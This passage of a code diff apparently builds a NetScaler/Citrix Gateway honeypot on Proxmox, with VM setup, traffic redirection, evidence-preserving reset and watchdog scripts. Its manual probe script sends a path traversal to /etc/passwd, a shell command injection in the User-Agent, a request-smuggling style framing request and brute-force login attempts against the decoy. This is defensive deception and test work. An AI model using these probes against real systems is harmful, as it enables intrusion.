ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
|
||||||
|
WorkingDirectory=/opt/decoy
|
||||||
|
UMask=0077
|
||||||
|
Restart=no
|
||||||
|
NoNewPrivileges=true
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectSystem=strict
|
||||||
|
ReadWritePaths=/var/lib/decoy
|
||||||
|
ProtectKernelTunables=true
|
||||||
|
ProtectKernelModules=true
|
||||||
|
ProtectControlGroups=true
|
||||||
|
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
|
||||||
|
MemoryMax=768M
|
||||||
|
TasksMax=128
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
set -eu
|
||||||
|
[ -f /etc/decoy-disposable-guest ]
|
||||||
|
id decoy-relay >/dev/null 2>&1 || useradd --system --no-create-home --shell /usr/sbin/nologin decoy-relay
|
||||||
|
ip route replace default via 10.0.2.2
|
||||||
|
iptables -t nat -N DECOY 2>/dev/null || true
|
||||||
|
iptables -t nat -F DECOY
|
||||||
|
iptables -t nat -A DECOY -m owner --uid-owner decoy-relay -j RETURN
|
||||||
|
iptables -t nat -A DECOY -d 127.0.0.0/8 -j RETURN
|
||||||
|
iptables -t nat -A DECOY -d 10.0.2.100/32 -j RETURN
|
||||||
|
iptables -t nat -A DECOY -p tcp -j REDIRECT --to-ports 15001
|
||||||
|
iptables -t nat -C OUTPUT -p tcp -j DECOY 2>/dev/null || iptables -t nat -A OUTPUT -p tcp -j DECOY
|
||||||
|
printf 'nameserver 127.0.0.1\noptions timeout:2 attempts:1\n' > /etc/resolv.conf
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Manual end-to-end probe of a deployed decoy. Read-only: every request is recorded as
|
||||||
|
# evidence; nothing is executed. Configure via environment (see .env.example).
|
||||||
|
# BASE_URL e.g. http://127.0.0.1:8443 or https://your-decoy.example
|
||||||
|
# HOST_HEADER Host header the edge proxy routes on (default: localhost)
|
||||||
|
set -u
|
||||||
|
B=${1:-${BASE_URL:-http://127.0.0.1:8443}}
|
||||||
|
H="Host: ${HOST_HEADER:-localhost}"
|
||||||
|
printf '\000\377MZ-inert-manual-payload\r\n' > /tmp/manual-payload.bin
|
||||||
|
printf -- '--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../manual-multipart.bin"\r\nContent-Type: application/octet-stream\r\n\r\nINERT-MULTIPART-BODY\r\n--testboundary--\r\n' > /tmp/manual-multipart.bin
|
||||||
|
|
||||||
|
code() {
|
||||||
|
local label=$1; shift
|
||||||
|
printf '%-42s -> %s\n' "$label" "$(curl -sS --max-time 10 -o /dev/null -w '%{http_code} %{size_download}b' "$@")"
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "== target $B =="
|
||||||
|
code "GET / (login page)" -H "$H" "$B/"
|
||||||
|
code "GET /favicon.ico" -H "$H" "$B/favicon.ico"
|
||||||
|
code "GET background.jpg" -H "$H" "$B/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg"
|
||||||
|
code "GET logo.png" -H "$H" "$B/vpn/media/citrixgateway_logo_white.png"
|
||||||
|
code "GET login.js" -H "$H" "$B/logon/LogonPoint/login.js"
|
||||||
|
code "HEAD /" -I -H "$H" "$B/"
|
||||||
|
code "GET /nonexistent" -H "$H" "$B/nonexistent"
|
||||||
|
code "GET path traversal" --path-as-is -H "$H" "$B/../../etc/passwd"
|
||||||
|
code "OPTIONS /" -X OPTIONS -H "$H" "$B/"
|
||||||
|
code "POST auth form" -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=demo&passwd=demo' "$B/nf/auth/doAuthentication.do"
|
||||||
|
code "PUT binary payload" -X PUT -H "$H" -H 'Content-Type: application/octet-stream' --data-binary @/tmp/manual-payload.bin "$B/sample.bin"
|
||||||
|
code "POST multipart upload" -H "$H" -H 'Content-Type: multipart/form-data; boundary=testboundary' --data-binary @/tmp/manual-multipart.bin "$B/upload"
|
||||||
|
code "POST oversize body" -X POST -H "$H" -H 'Content-Length: 999999999' --max-time 4 "$B/"
|
||||||
|
code "POST ambiguous framing" -X POST -H "$H" -H 'Transfer-Encoding: chunked' -H 'Content-Length: 5' --data '0' "$B/"
|
||||||
|
code "GET injection in User-Agent" -H "$H" -A 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/manual-test.txt`;# X' "$B/"
|
||||||
|
|
||||||
|
echo -n "auth XML body: "
|
||||||
|
curl -sS --max-time 8 -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=x&passwd=y' "$B/nf/auth/doAuthentication.do" | head -c 160
|
||||||
|
echo
|
||||||
|
l=0; while [ $l -lt 12 ]; do l=$((l+1)); curl -sS --max-time 5 -o /dev/null -H "$H" --data 'login=a&passwd=b' "$B/nf/auth/doAuthentication.do"; done
|
||||||
|
echo "sent 12 rapid auth attempts (brute-force threshold is 10)"
|
||||||
|
python3 - "$B" "${HOST_HEADER:-localhost}" <<'PY'
|
||||||
|
import socket, sys, urllib.parse
|
||||||
|
url = urllib.parse.urlsplit(sys.argv[1])
|
||||||
|
host = sys.argv[2]
|
||||||
|
s = socket.create_connection((url.hostname, url.port or 80), timeout=8)
|
||||||
|
s.sendall(f'GET / HTTP/1.1\r\nHost: {host}\r\n\r\n'.encode()
|
||||||
|
+ f'GET /favicon.ico HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n'.encode())
|
||||||
|
data = b''
|
||||||
|
while True:
|
||||||
|
chunk = s.recv(65536)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
data += chunk
|
||||||
|
print(f'keep-alive pipelined -> {data.count(b"HTTP/1.1 ")} responses, {len(data)} bytes')
|
||||||
|
PY
|
||||||
|
echo "done"
|
||||||
Executable
+63
@@ -0,0 +1,63 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Run on the designated Proxmox host. Preparation only; never execute payloads here.
|
||||||
|
set -euo pipefail
|
||||||
|
cd /var/lib/vz/honeypot
|
||||||
|
expected=$(awk '$2 == "debian-12-genericcloud-amd64.qcow2" {print $1}' SHA512SUMS)
|
||||||
|
[[ -n "$expected" ]]
|
||||||
|
printf '%s debian.qcow2\n' "$expected" | sha512sum --check -
|
||||||
|
[[ -s admin.pub ]]
|
||||||
|
command -v nc >/dev/null
|
||||||
|
printf '#!/bin/sh\nexec nc 127.0.0.1 19223\n' > forward-execution-ssh
|
||||||
|
printf '#!/bin/sh\nexec nc 127.0.0.1 19090\n' > forward-collector-telemetry
|
||||||
|
chmod 700 forward-execution-ssh forward-collector-telemetry
|
||||||
|
for vmid in 222 223; do
|
||||||
|
if qm config "$vmid" >/dev/null 2>&1; then
|
||||||
|
echo "VM $vmid exists; refusing replacement" >&2; exit 1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
for vmid in 222 223; do
|
||||||
|
role=collector; mem=2048; port=19222; mac=52:54:00:22:02:22
|
||||||
|
packages='[python3, openssh-client, openssh-server, iptables, qemu-guest-agent]'
|
||||||
|
args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19443-:8443,hostfwd=tcp:127.0.0.1:19222-:22,hostfwd=tcp:127.0.0.1:19090-:19090,guestfwd=tcp:10.0.2.101:22-cmd:/var/lib/vz/honeypot/forward-execution-ssh -device virtio-net-pci,netdev=decoy,mac=$mac"
|
||||||
|
if [[ $vmid = 223 ]]; then
|
||||||
|
role=execution; mem=4096; port=19223; mac=52:54:00:22:02:23
|
||||||
|
packages='[python3, strace, curl, wget, netcat-openbsd, iptables, openssh-server, qemu-guest-agent]'
|
||||||
|
# Trusted package bootstrap only. restrict=on MUST replace this before payloads.
|
||||||
|
args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19223-:22,guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry -device virtio-net-pci,netdev=decoy,mac=$mac"
|
||||||
|
fi
|
||||||
|
mkdir -p "seed-$vmid" /var/lib/vz/template/iso
|
||||||
|
cat > "seed-$vmid/user-data" <<CLOUD
|
||||||
|
#cloud-config
|
||||||
|
hostname: decoy-$role
|
||||||
|
manage_etc_hosts: true
|
||||||
|
disable_root: false
|
||||||
|
ssh_pwauth: false
|
||||||
|
users:
|
||||||
|
- name: root
|
||||||
|
lock_passwd: true
|
||||||
|
ssh_authorized_keys:
|
||||||
|
- $(cat admin.pub)
|
||||||
|
package_update: true
|
||||||
|
packages: $packages
|
||||||
|
runcmd:
|
||||||
|
- [mkdir, -p, /opt/decoy, /netscaler/ns_gui, /nsconfig]
|
||||||
|
- [systemctl, enable, --now, qemu-guest-agent]
|
||||||
|
- [touch, /var/lib/decoy-bootstrap-complete]
|
||||||
|
CLOUD
|
||||||
|
if [[ $vmid = 223 ]]; then printf ' - [touch, /etc/decoy-disposable-guest]\n' >> "seed-$vmid/user-data"; fi
|
||||||
|
printf 'instance-id: decoy-%s-20260928\nlocal-hostname: decoy-%s\n' "$vmid" "$role" > "seed-$vmid/meta-data"
|
||||||
|
cat > "seed-$vmid/network-config" <<NET
|
||||||
|
version: 2
|
||||||
|
ethernets:
|
||||||
|
decoy:
|
||||||
|
match:
|
||||||
|
macaddress: "$mac"
|
||||||
|
dhcp4: true
|
||||||
|
NET
|
||||||
|
genisoimage -quiet -output "/var/lib/vz/template/iso/decoy-seed-$vmid.iso" -volid cidata -joliet -rock "seed-$vmid"
|
||||||
|
qm create "$vmid" --name "decoy-$role" --memory "$mem" --cores 2 --cpu host --ostype l26 --scsihw virtio-scsi-pci --agent enabled=1 --onboot 0 --serial0 socket --vga serial0 --args "$args" --description "Dedicated NetScaler honeypot $role; QEMU user networking only. VM223 restrict=on mandatory before attacker execution."
|
||||||
|
qm importdisk "$vmid" debian.qcow2 local-lvm >/dev/null
|
||||||
|
qm set "$vmid" --scsi0 "local-lvm:vm-$vmid-disk-0" --ide2 "local:iso/decoy-seed-$vmid.iso,media=cdrom" --boot order=scsi0
|
||||||
|
qm resize "$vmid" scsi0 12G
|
||||||
|
qm start "$vmid"
|
||||||
|
done
|
||||||
@@ -0,0 +1,261 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Hourly VM223 reset, preserving its full disk and pcap first. Never prunes evidence.
|
||||||
|
|
||||||
|
--check is read-only. --run stops intake and VM223, archives disk/pcap, validates,
|
||||||
|
then rolls back decoy-clean. On any failure it leaves VM223/intake stopped and
|
||||||
|
sets the host STOP latch. RAM is not preserved; collector evidence is untouched.
|
||||||
|
"""
|
||||||
|
import argparse
|
||||||
|
import datetime
|
||||||
|
import fcntl
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
import shutil
|
||||||
|
import stat
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
|
||||||
|
ROOT = Path('/var/lib/vz/honeypot')
|
||||||
|
ARCHIVES = ROOT / 'archives'
|
||||||
|
DISK = Path('/dev/pve/vm-223-disk-0')
|
||||||
|
LIMIT = 16 * 1024**3
|
||||||
|
RESERVE = 4 * 1024**3
|
||||||
|
|
||||||
|
|
||||||
|
def command(*args, timeout=60):
|
||||||
|
return subprocess.run(args, check=True, capture_output=True, text=True,
|
||||||
|
timeout=timeout).stdout
|
||||||
|
|
||||||
|
|
||||||
|
def qm(*args, timeout=60):
|
||||||
|
return command('/usr/sbin/qm', *args, timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def guest(script):
|
||||||
|
result = json.loads(qm('guest', 'exec', '222', '--timeout', '20', '--',
|
||||||
|
'/bin/sh', '-c', script, timeout=25))
|
||||||
|
if not result.get('exited') or result.get('exitcode') != 0:
|
||||||
|
raise RuntimeError('collector guest operation failed')
|
||||||
|
return result.get('out-data', '')
|
||||||
|
|
||||||
|
|
||||||
|
def sync_dir(path):
|
||||||
|
fd = os.open(path, os.O_RDONLY | os.O_DIRECTORY)
|
||||||
|
try:
|
||||||
|
os.fsync(fd)
|
||||||
|
finally:
|
||||||
|
os.close(fd)
|
||||||
|
|
||||||
|
|
||||||
|
def write_file(path, data):
|
||||||
|
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600)
|
||||||
|
with os.fdopen(fd, 'wb') as stream:
|
||||||
|
stream.write(data)
|
||||||
|
stream.flush()
|
||||||
|
os.fsync(stream.fileno())
|
||||||
|
sync_dir(path.parent)
|
||||||
|
|
||||||
|
|
||||||
|
def bounds(min_free=RESERVE):
|
||||||
|
used = sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) if ARCHIVES.exists() else 0
|
||||||
|
if used >= LIMIT:
|
||||||
|
raise RuntimeError('archive 16GiB budget reached; evidence retained')
|
||||||
|
if shutil.disk_usage(ROOT).free < min_free:
|
||||||
|
raise RuntimeError('host free-space reserve reached; evidence retained')
|
||||||
|
|
||||||
|
|
||||||
|
def valid_config(config):
|
||||||
|
values = dict(line.split(': ', 1) for line in config.splitlines() if ': ' in line)
|
||||||
|
if (values.get('name') != 'decoy-execution' or
|
||||||
|
not values.get('scsi0', '').startswith('local-lvm:vm-223-disk-0,') or
|
||||||
|
'restrict=on' not in values.get('args', '') or
|
||||||
|
'file=/var/lib/vz/honeypot/execution.pcap' not in values.get('args', '') or
|
||||||
|
any(k.startswith('net') and k[3:].isdigit() for k in values)):
|
||||||
|
raise RuntimeError('VM223 identity or isolation mismatch')
|
||||||
|
|
||||||
|
|
||||||
|
def validate():
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
raise RuntimeError('run on designated Proxmox host as root')
|
||||||
|
if ROOT.is_symlink() or not ROOT.is_dir() or (ARCHIVES.exists() and ARCHIVES.is_symlink()):
|
||||||
|
raise RuntimeError('invalid evidence directory')
|
||||||
|
if (ROOT / 'STOP').exists():
|
||||||
|
raise RuntimeError('preexisting host STOP latch requires operator review')
|
||||||
|
if not stat.S_ISBLK(DISK.stat().st_mode):
|
||||||
|
raise RuntimeError('execution disk is not a block device')
|
||||||
|
current = qm('config', '223')
|
||||||
|
baseline = qm('config', '223', '--snapshot', 'decoy-clean')
|
||||||
|
valid_config(current)
|
||||||
|
valid_config(baseline)
|
||||||
|
guest('test -f /etc/decoy-collector && test ! -e /var/lib/decoy/STOP')
|
||||||
|
return current, baseline
|
||||||
|
|
||||||
|
|
||||||
|
def digest(path):
|
||||||
|
hashed = hashlib.sha256()
|
||||||
|
with path.open('rb') as stream:
|
||||||
|
while chunk := stream.read(1024**2):
|
||||||
|
bounds()
|
||||||
|
hashed.update(chunk)
|
||||||
|
os.fsync(stream.fileno())
|
||||||
|
return hashed.hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
def install_admin_ca():
|
||||||
|
public = ROOT / 'admin-ca.authorized'
|
||||||
|
if not public.exists():
|
||||||
|
return
|
||||||
|
line = public.read_text().strip()
|
||||||
|
if not line.startswith('cert-authority,principals="decoy-admin",restrict,pty ssh-ed25519 ') or len(line) > 4096 or '\n' in line:
|
||||||
|
raise RuntimeError('invalid dedicated admin CA authorization')
|
||||||
|
script = ("import pathlib,os; p=pathlib.Path('/root/.ssh/authorized_keys'); "
|
||||||
|
"p.parent.mkdir(mode=0o700,exist_ok=True); "
|
||||||
|
"lines=p.read_text().splitlines() if p.exists() else []; "
|
||||||
|
"line=" + repr(line) + "; "
|
||||||
|
"p.write_text('\\n'.join(lines if line in lines else lines+[line])+'\\n'); "
|
||||||
|
"p.chmod(0o600)")
|
||||||
|
result = json.loads(qm('guest', 'exec', '223', '--timeout', '10', '--', '/usr/bin/python3', '-c', script))
|
||||||
|
if not result.get('exited') or result.get('exitcode') != 0:
|
||||||
|
raise RuntimeError('admin certificate authorization restore failed')
|
||||||
|
|
||||||
|
|
||||||
|
def run():
|
||||||
|
# Permanent lock inode; never unlink it while other cron instances may wait.
|
||||||
|
with open('/run/decoy-reset.lock', 'a') as lock:
|
||||||
|
try:
|
||||||
|
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||||
|
except BlockingIOError:
|
||||||
|
print('Reset already in progress')
|
||||||
|
return
|
||||||
|
validate()
|
||||||
|
changed = False
|
||||||
|
try:
|
||||||
|
command('systemctl', 'stop', 'decoy-ingress.service')
|
||||||
|
changed = True
|
||||||
|
command('systemctl', 'stop', 'decoy-watchdog.service')
|
||||||
|
guest('systemctl stop decoy.service decoy-network.service')
|
||||||
|
qm('stop', '223')
|
||||||
|
if 'status: stopped' not in qm('status', '223'):
|
||||||
|
raise RuntimeError('execution VM did not stop')
|
||||||
|
# Recheck after intake stops: never erase a concurrent capture-failure latch.
|
||||||
|
current, baseline = validate()
|
||||||
|
bounds(8 * 1024**3)
|
||||||
|
stamp = datetime.datetime.now(datetime.timezone.utc).strftime('%Y%m%dT%H%M%SZ')
|
||||||
|
ARCHIVES.mkdir(mode=0o700, exist_ok=True)
|
||||||
|
archive = ARCHIVES / (stamp + '-' + uuid.uuid4().hex)
|
||||||
|
archive.mkdir(mode=0o700)
|
||||||
|
sync_dir(ARCHIVES)
|
||||||
|
write_file(archive / 'vm223.conf', current.encode())
|
||||||
|
write_file(archive / 'baseline.conf', baseline.encode())
|
||||||
|
partial = archive / 'execution.qcow2.partial'
|
||||||
|
# Reserve file exclusively before qemu-img writes it; protected parent0700.
|
||||||
|
write_file(partial, b'')
|
||||||
|
with (archive / 'convert.log').open('xb') as output:
|
||||||
|
process = subprocess.Popen(['qemu-img', 'convert', '-c', '-f', 'raw', '-O',
|
||||||
|
'qcow2', str(DISK), str(partial)], stdout=output, stderr=output)
|
||||||
|
deadline = time.monotonic() + 900
|
||||||
|
try:
|
||||||
|
while process.poll() is None:
|
||||||
|
bounds()
|
||||||
|
if time.monotonic() > deadline:
|
||||||
|
raise RuntimeError('disk archive timeout')
|
||||||
|
time.sleep(0.5)
|
||||||
|
if process.returncode:
|
||||||
|
raise RuntimeError('disk archive conversion failed; inspect retained convert.log')
|
||||||
|
finally:
|
||||||
|
if process.poll() is None:
|
||||||
|
process.kill()
|
||||||
|
process.wait()
|
||||||
|
output.flush()
|
||||||
|
os.fsync(output.fileno())
|
||||||
|
bounds()
|
||||||
|
check = command('qemu-img', 'check', '--output=json', str(partial), timeout=300)
|
||||||
|
command('qemu-img', 'compare', '-f', 'raw', '-F', 'qcow2', str(DISK), str(partial), timeout=300)
|
||||||
|
write_file(archive / 'disk-check.json', check.encode())
|
||||||
|
disk_hash = digest(partial)
|
||||||
|
image = archive / 'execution.qcow2'
|
||||||
|
partial.rename(image)
|
||||||
|
sync_dir(archive)
|
||||||
|
pcap = ROOT / 'execution.pcap'
|
||||||
|
if pcap.is_symlink() or not pcap.is_file():
|
||||||
|
raise RuntimeError('pcap is missing or not a regular file')
|
||||||
|
pcap_hash = digest(pcap)
|
||||||
|
pcap_size = pcap.stat().st_size
|
||||||
|
if sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) + pcap_size >= LIMIT:
|
||||||
|
raise RuntimeError('pcap would exceed archive budget')
|
||||||
|
pcap.rename(archive / 'execution.pcap')
|
||||||
|
sync_dir(ROOT)
|
||||||
|
sync_dir(archive)
|
||||||
|
metadata = {'timestamp_utc': stamp, 'vmid': 223, 'baseline': 'decoy-clean',
|
||||||
|
'disk_sha256': disk_hash, 'pcap_sha256': pcap_hash,
|
||||||
|
'disk_bytes': image.stat().st_size, 'pcap_bytes': pcap_size,
|
||||||
|
'memory_preserved': False, 'state': 'validated_before_rollback'}
|
||||||
|
write_file(archive / 'manifest.json', (json.dumps(metadata, indent=2) + '\n').encode())
|
||||||
|
bounds()
|
||||||
|
# A preexisting STOP is never cleared. Any late latch aborts reset.
|
||||||
|
if (ROOT / 'STOP').exists():
|
||||||
|
raise RuntimeError('host STOP appeared during archive')
|
||||||
|
guest('test ! -e /var/lib/decoy/STOP')
|
||||||
|
qm('rollback', '223', 'decoy-clean', timeout=300)
|
||||||
|
valid_config(qm('config', '223'))
|
||||||
|
write_file(ROOT / 'execution.pcap', b'')
|
||||||
|
guest('test ! -e /var/lib/decoy/STOP && systemctl start decoy-network.service decoy.service && '
|
||||||
|
'systemctl is-active --quiet decoy-network.service decoy.service')
|
||||||
|
qm('start', '223')
|
||||||
|
deadline = time.monotonic() + 90
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
ready = json.loads(qm('guest', 'exec', '223', '--timeout', '5', '--',
|
||||||
|
'/bin/sh', '-c', 'test -f /etc/decoy-disposable-guest && systemctl is-active --quiet decoy-relay decoy-guest-network', timeout=10))
|
||||||
|
if ready.get('exited') and ready.get('exitcode') == 0:
|
||||||
|
break
|
||||||
|
except (subprocess.SubprocessError, ValueError):
|
||||||
|
pass
|
||||||
|
if time.monotonic() >= deadline:
|
||||||
|
raise RuntimeError('restored guest did not become ready')
|
||||||
|
time.sleep(2)
|
||||||
|
install_admin_ca()
|
||||||
|
command('systemctl', 'start', 'decoy-watchdog.service')
|
||||||
|
command('systemctl', 'start', 'decoy-ingress.service')
|
||||||
|
write_file(archive / 'reset-complete.json',
|
||||||
|
json.dumps({'completed_time_ns': time.time_ns()}).encode())
|
||||||
|
print(f'Reset VM223; disk and packet evidence retained at {archive}')
|
||||||
|
except BaseException:
|
||||||
|
if changed:
|
||||||
|
# Best effort fail-closed; never resume intake or roll back on failure.
|
||||||
|
for args in [('systemctl', 'stop', 'decoy-ingress.service'),
|
||||||
|
('/usr/sbin/qm', 'stop', '223')]:
|
||||||
|
try:
|
||||||
|
command(*args)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
guest('systemctl stop decoy.service decoy-network.service')
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
write_file(ROOT / 'STOP', b'automatic reset failed; operator review required\n')
|
||||||
|
except FileExistsError:
|
||||||
|
pass
|
||||||
|
raise
|
||||||
|
finally:
|
||||||
|
if changed:
|
||||||
|
command('systemctl', 'start', 'decoy-watchdog.service')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
mode = parser.add_mutually_exclusive_group(required=True)
|
||||||
|
mode.add_argument('--run', action='store_true')
|
||||||
|
mode.add_argument('--check', action='store_true')
|
||||||
|
args = parser.parse_args()
|
||||||
|
os.umask(0o077)
|
||||||
|
if args.check:
|
||||||
|
validate()
|
||||||
|
bounds(8 * 1024**3)
|
||||||
|
print('Reset preflight passed; no changes made')
|
||||||
|
else:
|
||||||
|
run()
|
||||||
Executable
+51
@@ -0,0 +1,51 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Run once on Proxmox after trusted cloud-init completes, before deploying payload code."""
|
||||||
|
import json
|
||||||
|
from pathlib import Path
|
||||||
|
import shlex
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
ROOT = Path('/var/lib/vz/honeypot')
|
||||||
|
PCAP = ROOT / 'execution.pcap'
|
||||||
|
if PCAP.exists():
|
||||||
|
raise SystemExit('Existing capture found: refusing a restart that would truncate evidence')
|
||||||
|
|
||||||
|
def guest(vm, command):
|
||||||
|
result = json.loads(subprocess.check_output(
|
||||||
|
['qm', 'guest', 'exec', str(vm), '--', '/bin/sh', '-c', command], text=True))
|
||||||
|
if result.get('exitcode') != 0:
|
||||||
|
raise RuntimeError(result)
|
||||||
|
return result.get('out-data', '')
|
||||||
|
|
||||||
|
for vm in (222, 223):
|
||||||
|
guest(vm, 'test -f /var/lib/decoy-bootstrap-complete && cloud-init status --long')
|
||||||
|
keys = {vm: guest(vm, 'cat /etc/ssh/ssh_host_ed25519_key.pub').strip() for vm in (222, 223)}
|
||||||
|
pub = guest(222, 'mkdir -p /root/.ssh; chmod 700 /root/.ssh; '
|
||||||
|
'test -f /root/.ssh/decoy_execution_ed25519 || '
|
||||||
|
'ssh-keygen -q -t ed25519 -N "" -f /root/.ssh/decoy_execution_ed25519; '
|
||||||
|
'cat /root/.ssh/decoy_execution_ed25519.pub').strip()
|
||||||
|
guest(223, 'printf "%s\\n" ' + shlex.quote(
|
||||||
|
'no-agent-forwarding,no-port-forwarding,no-X11-forwarding ' + pub) +
|
||||||
|
' >> /root/.ssh/authorized_keys; chmod 600 /root/.ssh/authorized_keys')
|
||||||
|
guest(222, 'printf "%s\\n" ' + shlex.quote('10.0.2.101 ' + keys[223]) +
|
||||||
|
' > /root/.ssh/known_hosts; chmod 600 /root/.ssh/known_hosts; '
|
||||||
|
'cp /root/.ssh/known_hosts /root/.ssh/decoy_execution_known_hosts')
|
||||||
|
config = ('Host decoy-execution\n HostName 10.0.2.101\n User root\n'
|
||||||
|
' IdentityFile /root/.ssh/decoy_execution_ed25519\n IdentitiesOnly yes\n'
|
||||||
|
' StrictHostKeyChecking yes\n BatchMode yes\n ConnectTimeout 5\n')
|
||||||
|
guest(222, 'printf "%s" ' + shlex.quote(config) +
|
||||||
|
' > /root/.ssh/config; chmod 600 /root/.ssh/config')
|
||||||
|
subprocess.run(['qm', 'shutdown', '223', '--timeout', '60'], check=True)
|
||||||
|
ROOT.chmod(0o700)
|
||||||
|
PCAP.touch(mode=0o600, exist_ok=False)
|
||||||
|
# -sandbox applies a QEMU seccomp filter: deny obsolete syscalls and privilege elevation.
|
||||||
|
args = ('-netdev user,id=decoy,restrict=on,hostfwd=tcp:127.0.0.1:19223-:22,'
|
||||||
|
'guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry '
|
||||||
|
'-device virtio-net-pci,netdev=decoy,mac=52:54:00:22:02:23 '
|
||||||
|
'-object filter-dump,id=decoycap,netdev=decoy,'
|
||||||
|
'file=/var/lib/vz/honeypot/execution.pcap,maxlen=512 '
|
||||||
|
'-sandbox on,obsolete=deny,elevateprivileges=deny')
|
||||||
|
subprocess.run(['qm', 'set', '223', '--args', args], check=True)
|
||||||
|
subprocess.run(['qm', 'start', '223'], check=True)
|
||||||
|
for vm, key in keys.items():
|
||||||
|
print(f'decoy-{vm} {key}') # Public host keys only.
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
{"host":"10.0.2.101","port":22,"identity":"/root/.ssh/decoy_execution_ed25519","known_hosts":"/root/.ssh/decoy_execution_known_hosts","vmid":223,"allowed_peers":"/var/lib/decoy/allowed-peers.json","stop_file":"/var/lib/decoy/STOP"}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Proxmox-side fail-closed monitor; only the disposable VM223 is stopped."""
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
|
||||||
|
DIRECTORY = pathlib.Path('/var/lib/vz/honeypot')
|
||||||
|
|
||||||
|
|
||||||
|
def qm(*args):
|
||||||
|
return subprocess.run(['/usr/sbin/qm', *args], capture_output=True, text=True, timeout=25, check=True).stdout
|
||||||
|
|
||||||
|
|
||||||
|
def stop(reason):
|
||||||
|
with (DIRECTORY / 'watchdog-events.jsonl').open('a') as output:
|
||||||
|
output.write(json.dumps(dict(time_ns=time.time_ns(), event='execution_vm_stopped', reason=reason)) + '\n')
|
||||||
|
output.flush()
|
||||||
|
qm('stop', '223')
|
||||||
|
# This latch prevents unattended auto-restart. Operator must verify evidence before clearing.
|
||||||
|
(DIRECTORY / 'STOP').touch(mode=0o600)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
last_health = 0
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
if 'status: running' not in qm('status', '223'):
|
||||||
|
time.sleep(2)
|
||||||
|
continue
|
||||||
|
reason = None
|
||||||
|
pcap = DIRECTORY / 'execution.pcap'
|
||||||
|
if (DIRECTORY / 'STOP').exists():
|
||||||
|
reason = 'host stop latch'
|
||||||
|
elif pcap.exists() and pcap.stat().st_size >= 512 * 1024 * 1024:
|
||||||
|
reason = 'pcap quota'
|
||||||
|
elif shutil.disk_usage(DIRECTORY).free < 4 * 1024**3:
|
||||||
|
reason = 'host free space reserve'
|
||||||
|
elif time.monotonic() - last_health >= 10:
|
||||||
|
last_health = time.monotonic()
|
||||||
|
usage = subprocess.run(['/usr/sbin/lvs', '--noheadings', '-o', 'data_percent', 'pve/data'], capture_output=True, text=True, check=True, timeout=5)
|
||||||
|
if float(usage.stdout.strip()) >= 85:
|
||||||
|
stop('Proxmox thin pool reserve')
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
result = json.loads(qm('guest', 'exec', '222', '--timeout', '10', '--',
|
||||||
|
'/bin/sh', '-c',
|
||||||
|
'test ! -e /var/lib/decoy/STOP && '
|
||||||
|
'systemctl is-active --quiet decoy.service decoy-network.service'))
|
||||||
|
if result.get('exitcode') != 0 or not result.get('exited'):
|
||||||
|
reason = 'collector services stopped or capture failed'
|
||||||
|
except (OSError, ValueError, subprocess.SubprocessError):
|
||||||
|
reason = 'collector health unavailable'
|
||||||
|
if reason:
|
||||||
|
stop(reason)
|
||||||
|
except (OSError, subprocess.SubprocessError) as error:
|
||||||
|
print(type(error).__name__, flush=True)
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
+23
